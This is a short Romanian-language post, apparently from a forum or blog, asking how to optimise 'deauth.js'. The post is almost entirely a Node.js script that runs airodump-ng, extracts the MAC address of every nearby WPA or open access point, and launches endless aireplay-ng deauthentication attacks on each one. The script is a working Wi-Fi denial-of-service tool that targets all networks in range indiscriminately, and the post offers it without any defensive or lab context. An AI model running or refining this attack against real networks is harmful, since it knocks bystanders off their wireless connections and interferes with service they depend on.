Ne jucam in cabana cu Kali
Cum putem optimiza deauth.js:
var spawn = require(‘child_process’).spawn;
var exec = require(‘child_process’).exec;
console.log(‘init’);
var mac = [];
var pattern = /((?:[0-9A-F]{2}[:-]){5}(?:[0-9A-F]{2})){1}.(?:wpa|opn)./ig;
var finder = spawn(‘airodump-ng’, [‘mon0’]);
function Deauth(one) {
console.log(one);
var command = ‘aireplay-ng -0 0 -a %mac% --ignore-negative-one mon0’;
exec(command.replace(’%mac%’, one), function(a,b,c) {console.log(b);});
}
function Mac(one) {
one = one.substr(0, 17);
if(mac.indexOf(one) == -1) {Deauth(one); mac.push(one);}
}
finder.stderr.on(‘data’, function(data) {
data = data.toString();
var result = data.match(pattern);
if(!result || !result.length) return;
for(var q = 0, l = result.length; q < l; q++) Mac(result[q]);
});